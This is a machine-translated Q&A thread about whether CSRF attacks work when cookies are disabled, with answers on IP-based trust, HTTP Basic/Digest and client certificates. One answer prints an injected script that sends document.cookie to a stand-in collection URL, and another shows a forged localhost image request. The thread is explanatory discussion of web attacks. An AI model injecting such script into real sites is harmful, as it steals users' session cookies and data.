2010-09-17 2 views
5

Я изучал это в течение некоторого времени, но я не нашел ничего, чтобы удовлетворить мое любопытство. Возможно ли, как пользователь, стать жертвой атаки CSRF, если файлы cookie отключены. Очевидно, что CSRF зависит от браузера пользователей, чтобы отправлять учетные данные пользователя с поддельным запросом на законный сервер. Помимо IP-адресов, браузеры не отправляют автоматически какие-либо другие значения сеанса? В этом случае, если пользователь может войти в систему с отключенными куки, они будут защищены от CSRF даже на уязвимых веб-сайтах.Возможна ли CSRF без Cookies?

ответ

4

Итак, вы должны спросить себя, как сервер знает одного клиента от другого? В большинстве случаев это сеанс cookie, но есть и другие способы.

Рассмотрите приложение администратора, настроенное на работу только при доступе с локального хоста. Здесь сервер доверяет IP-адрес браузера. Теперь, если злоумышленник создает такую ​​страницу, как <img src="http://localhost/do/something/harmful"/>, и каким-то образом администратор может посетить его страницу, у вас есть CSRF.

Другие примеры включают злоупотребление базой Http и аутентификацией дайджеста, как уже указывал Бруно.

+0

IMO, если браузер жертвы имеет активный сеанс или токен доступа (через WebStorage, куки, ОЗУ и т. Д.), CSRF будет проходить, предположив, что на сайте не используются токены синхронизации, направленные на предотвращение CSRF. – Zack

-2

Конечно - просто думаю, что если взломан сайт не тереть HTML и вы ввели следующий текст в поле «Комментарий»:

<script> 
var img = document.createElement("img"); 
img.src = "http://example.com/collect.php?val=" + escape(document.cookie); 
</script> 

В основном вы используете JavaScript, чтобы собрать печенье и написания значения в параметры URL тега изображения, чтобы они передавались вместе с «плохим» сервером, когда браузер пытается загрузить изображение.

Конечно, в приведенном выше примере я использую файлы cookie из «document.cookie», но в духе вашего вопроса «если файлы cookie отключены», так же легко извлечь любую другую информацию из DOM (скрытый ввод значения полей и т. д.) и отправить их в URL-адрес целевого сервера.

+0

Похоже, что это будет объединение XSS с CSRF. – Bruno

+0

Хороший момент - я думал больше о традиционном XSS, а не о CSRF. –

+0

Все эти атаки DOM возможны только из одного домена, правильно? Это строго атака XSS. – grossmae

4

Существуют другие формы аутентификации, поддерживаемые браузерами, в частности HTTP Basic и HTTP Digest, а также клиентские сертификаты SSL/TLS. К сожалению, интерфейс для «выхода из системы» при использовании этих механизмов обычно довольно плох. В отличие от файлов cookie и форм, остановка использования учетных данных контролируется браузером (а не сервером и его файлами cookie), но кнопки в лучшем случае находятся в каком-то расширенном меню вообще (если они вообще существуют).

+0

Итак, если пользователь отключает файлы cookie в своем браузере, типичными альтернативами являются HTTP-аутентификация или просто передача форм идентификатора сеанса? – grossmae

Смежные вопросы